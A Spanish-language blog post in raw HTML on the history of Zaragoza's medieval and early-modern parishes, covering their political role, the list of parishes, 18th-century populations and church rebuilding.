&lt;span style=&quot;font-size: big;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;span&gt;&lt;span style=&quot;font-size: xx-big;&quot;&gt;&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Los barrios o parroquias de la antigua Zaragoza &lt;span style=&quot;background-color: white; color: black; display: inline; float: none; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; word-spacing: 0px;&quot;&gt;&lt;span style=&quot;font-size: xx-big;&quot;&gt;tuvieron un destacado papel como distritos reguladores con doble función,&amp;nbsp; espiritual y material.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Tras la conquista de Sarakusta a
los musulmanes por Alfonso I El Batallador, el 18 de diciembre de 1118, nuestra
ciudad fue adquiriendo importancia hasta terminar siendo la cabecera del reino
de Aragón (1205), es decir, su capital y por tanto la sede de la coronación de
los reyes aragoneses.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;/span&gt;

&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Ya en el primer momento, Alfonso I
concedió a la ciudad unos fueros, el &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Fuero
de Zaragoza&lt;/i&gt; (1119), conjunto de normas jurídicas, derechos y privilegios
por las que a partir de ese momento se regiría la ciudad, cuya finalidad era
atraer repobladores cristianos a ésta y al valle del Ebro.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt; Unos años después (1126), este mismo rey otorgó
&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;a la ciudad el llamado &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Privilegio de los Veinte&lt;/i&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/b&gt;, que quedó incluido en el &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Fuero de Zaragoza&lt;/i&gt;.&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt; &lt;/i&gt;Todo esto constituyó el germen de la organización municipal, es
decir del &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;concejo&lt;sup&gt;2&lt;/sup&gt;&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;La administración municipal se
fue estableciendo mediante &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Ordenanzas&lt;/i&gt;
dictadas por los reyes y la gestión de la ciudad se realizaba mediante órganos formados
por &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;representantes del rey&lt;/b&gt; y de los &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;ciudadanos&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Es en ese momento cuando las parroquias&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;, &lt;/b&gt;que en principio sólo tenían
finalidad religiosa,&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; &lt;/b&gt;surgieron como unidades
políticas y económicas al reunirse sus vecinos en las respectivas &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;iglesias para solucionar los asuntos que les
eran comunes.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
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&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrCQkjFq80zYBQEJCJWkNZlICrVt7Cg4wPmGY_EujjiQY8xj-Orm1bXoCzmZ9CQn9BbU4m_1xA48CQvUfUtTQIyt02B1fIl1rpYlzzhOdbLREi5zQ2FjN6sbzawdSPPZUkjlsC60Y01Zt_/s1600/OTRA-Vista-de-Zaragoza--%25281563%2529-Anton-van-den-Wyngaerde.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;264&quot; data-original-width=&quot;800&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrCQkjFq80zYBQEJCJWkNZlICrVt7Cg4wPmGY_EujjiQY8xj-Orm1bXoCzmZ9CQn9BbU4m_1xA48CQvUfUtTQIyt02B1fIl1rpYlzzhOdbLREi5zQ2FjN6sbzawdSPPZUkjlsC60Y01Zt_/s1600/OTRA-Vista-de-Zaragoza--%25281563%2529-Anton-van-den-Wyngaerde.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td class=&quot;tr-caption&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;Vista de Zaragoza (1563) Anton van den Wyngaerde&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;La administración municipal se
fue estableciendo mediante &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Ordenanzas&lt;/i&gt;
dictadas por los reyes y la gestión de la ciudad se realizaba mediante órganos formados
por &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;representantes del rey&lt;/b&gt; y de los &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;ciudadanos&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Es en ese momento cuando las parroquias&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;, &lt;/b&gt;que en principio sólo tenían
finalidad religiosa,&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; &lt;/b&gt;surgieron como unidades
políticas y económicas al reunirse sus vecinos en las respectivas &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;iglesias para solucionar los asuntos que les
eran comunes.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Comenzaron así a jugar un papel destacado
como distritos reguladores con doble función, espiritual y material, consiguiendo
representación propia en el concejo al elegir cada parroquia a sus
representantes. De esta forma las parroquias de la ciudad rebasaron sus
funciones puramente religiosas pasando a ser entendidas como demarcaciones
municipales, como barrios con un activo papel ciudadano, es decir, los barrios
se organizaron a partir de las parroquias aunque siguieron llamándose parroquias
a lo largo de los siglos.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Cada parroquia o barrio contribuía,
mediante prorrateo, a los gastos de la ciudad e incluso en caso de guerra
colaboraban en el sistema defensivo de la ciudad (Guerra de los Pedros,
1356-1369). Nominaban a sus representantes, entre los cuales se elegían los
&lt;b&gt;jurados&lt;/b&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/b&gt; que formaban
parte del concejo y ocupaban diversos cargos municipales. Este concejo,
presidido por el &lt;b&gt;zalmedina&lt;sup&gt;4&lt;/sup&gt;&lt;/b&gt;, elaboraba las leyes destinadas al
gobierno de la ciudad. Los cargos se renovaban cada cuatro años y fueron
evolucionando con el tiempo. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;En el siglo XV Zaragoza estaba
dividida en &lt;b&gt;quince parroquias&lt;/b&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;5&lt;/sup&gt;&lt;/b&gt;
o barrios, que a su vez estaban&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;dividas
en dos grupos según el número de vecinos que a ellas pertenecían: parroquias
mayores y parroquias menores. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Parroquias mayores fueron: &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;Santa María la Mayor (El Pilar)&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Salvador (La Seo)&lt;/b&gt;,&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; San Pablo&lt;/b&gt;,&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; San Felipe&lt;/b&gt;,&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; San Gil&lt;/b&gt;,&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; Santa Cruz&lt;/b&gt;,&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; San Jaime &lt;/b&gt;(Santiago),&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; San
Juan del Puente &lt;/b&gt;y &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;La Magdalena.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt; &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Se consideraron parroquias
menores a: &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Lorenzo&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Nicolás&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Pedro&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Andrés&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Juan el Viejo&lt;/b&gt; y &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Miguel de los Navarros&lt;/b&gt;. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;De todas ellas la de &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Pablo&lt;/b&gt; y la de &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Miguel&lt;/b&gt; eran las únicas que se encontraban fuera de los límites
del muro romano de piedra, aunque estaban comprendidas, eso sí, dentro del muro
de rejola. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Con la llegada al trono de los
Trastámara (1412), se introdujo el&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;
&lt;/span&gt;&lt;b&gt;sistema insaculatorio&lt;/b&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;6&lt;/sup&gt;&lt;/b&gt;
que hizo que las parroquias perdieron una buena parte de sus atribuciones y
aunque siguieron teniendo representantes en el concejo ya no tenían el
importante peso político anterior, no obstante, a comienzos de la Edad Moderna todavía
jugaban un papel, aunque mermado, en el gobierno del municipio. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Desde el punto de vista social las
parroquias vertebraban toda la vida cotidiana de sus vecinos. Además de la función
político-económica que ya hemos comentado, en sus respectivas iglesias se
celebraban los bautismos, bodas y funerales de sus parroquianos, los toques de
sus campanas anunciaban horas y los acontecimientos más relevantes; celebraban
sus propias fiestas y actos procesionales y sus vecinos eran enterrados en el &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;fosal &lt;/b&gt;que cada iglesia tenía en torno a
ella. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Es prácticamente imposible
establecer hoy los límites de cada una de las parroquias a lo largo de los siglos,
pues a veces calles que por proximidad deberían pertenecer a una determinada
parroquia pertenecían a otra que les quedaba más alejada, los cambios
urbanísticos derivados del paso de los tiempos podrían explicarían estas
situaciones. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Desde el punto de vista de su
actividad municipal, las parroquias se mantuvieron más o menos igual hasta el
comienzo del s. XVIII, que marcó un “antes” y un “después” en su dilatada
historia.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;A finales de 1700, la muerte sin
descendencia de Carlos II, el último de los Austrias, provocó la &lt;b&gt;Guerra de
Sucesión&lt;sup&gt;7&lt;/sup&gt;&lt;/b&gt; (1700-1715) con
la consiguiente subida al trono de los Borbones. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Esto trajo como consecuencia
cambios drásticos e irreversibles tanto político-administrativos (Decretos de
Nueva Planta) como económicos. Los municipios importantes pasaron a ser regidos
por un corregidor (funcionario real) que además de presidir los ayuntamientos administraba
justicia, y las parroquias perdieron definitivamente el papel político que antaño
tuvieron de representación vecinal en el gobierno de la ciudad, pasando a ser
meros barrios, aunque se les seguía denominando con el nombre tradicional de &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;parroquias&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Con el paso del tiempo las quince
parroquias de siglos anteriores se convirtieron en dieciséis en el siglo XVIII
al haberse añadido dos más, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;Altabás&lt;/b&gt;
y &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Juan el Viejo&lt;/b&gt; y desaparecer&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; &lt;/b&gt;como parroquia&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; &lt;/b&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Juan del Puente&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;En la primera mitad del siglo
XVIII&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;8&lt;/sup&gt;&lt;/b&gt; los barrios (parroquias)
de Zaragoza, ordenados de mayor a menor en cuanto al número de sus habitantes, eran
los siguientes: &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Pablo&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;El Pilar&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;La Magdalena&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Miguel&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Gil&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Felipe&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;La Seo&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;Altabás &lt;/b&gt;(a extramuros),
&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Lorenzo&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;Santa Cruz&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Nicolás&lt;/b&gt;,
&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;Santa Engracia&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;Santiago&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Andrés&lt;/b&gt;, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Pedro&lt;/b&gt; y &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Juan el Viejo&lt;/b&gt;. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhii_Kf6MUo5LahWtiHhJTwi73WrdJLYb04lGDIuivnFpyKed6qtKtE3FPB-RUDn590PTCv0LfY7_67brk6JE5135lmCspLphPvC-t0vowbbmslyaE8j-W3O7Ssdw1t5RwEN6cgGTlg63F8/s1600/plano+parroquias.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1526&quot; data-original-width=&quot;1600&quot; height=&quot;381&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhii_Kf6MUo5LahWtiHhJTwi73WrdJLYb04lGDIuivnFpyKed6qtKtE3FPB-RUDn590PTCv0LfY7_67brk6JE5135lmCspLphPvC-t0vowbbmslyaE8j-W3O7Ssdw1t5RwEN6cgGTlg63F8/s400/plano+parroquias.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;En este siglo la parroquia o
barrio de &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Pablo&lt;/b&gt; era la más
populosa, contaba en 1723 con unos once mil habitantes y al finalizar el siglo
su población superaba con creces los catorce mil, casi cuadruplicaba la
población de la siguiente parroquia en el rango poblacional, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;El Pilar&lt;/b&gt;. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Ocupaba &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Pablo&lt;/b&gt;, más o menos, la tercera parte del área urbana de la
ciudad; sus límites de norte a sur iban desde la ribera del Ebro hasta la
puerta del Carmen y por el este desde la puerta de Toledo hasta las puertas de
Sancho y el Portillo en el oeste. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Tenía un marcado carácter
comercial muy ligado al Mercado. Estaba dividido en dos grandes sectores muy
diferenciados, el del norte, desde el Ebro hasta la calle del Portillo (más o
menos actual calle de Conde Aranda) en el que vivían comerciantes, ganaderos,
artesanos, labradores ricos… y el sector sur en el que abundaban los conventos
y los espacios agrícolas.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Por otra parte, las parroquias o
barrios con menos parroquianos eran &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San
Pedro&lt;/b&gt; y &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;San Juan el Viejo&lt;/b&gt;, sin
duda porque al estar en pleno centro urbano en el que había muchas parroquias
la población se encontraba muy repartida entre ellas.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Aunque las parroquias perdieron
totalmente su papel político siguieron siendo el eje organizativo de la vida
social y religiosa de la ciudad y a pesar de las malas circunstancia económicas
en el s. XVIII se realizaron importantes obras de modificación en algunas
iglesias parroquiales siendo otras construidas de nueva planta: la antigua
iglesia mudéjar de Santa María la Mayor fue sustituida por el &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;actual templo de El Pilar, la de Santa Cruz (1768)
fue también edificada de nuevo, a la iglesia de San Gil le fue cambiada su
orientación abriéndose su puerta principal en lo que antes era su cabecera para
darle el acceso por la calle de San Gil y reparadas sus paredes exteriores y su
torre (1719-1728), lo mismo le ocurrió a la iglesia de la Magdalena (1727), que
también cambió su orientación debido a la instalación del nuevo órgano.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
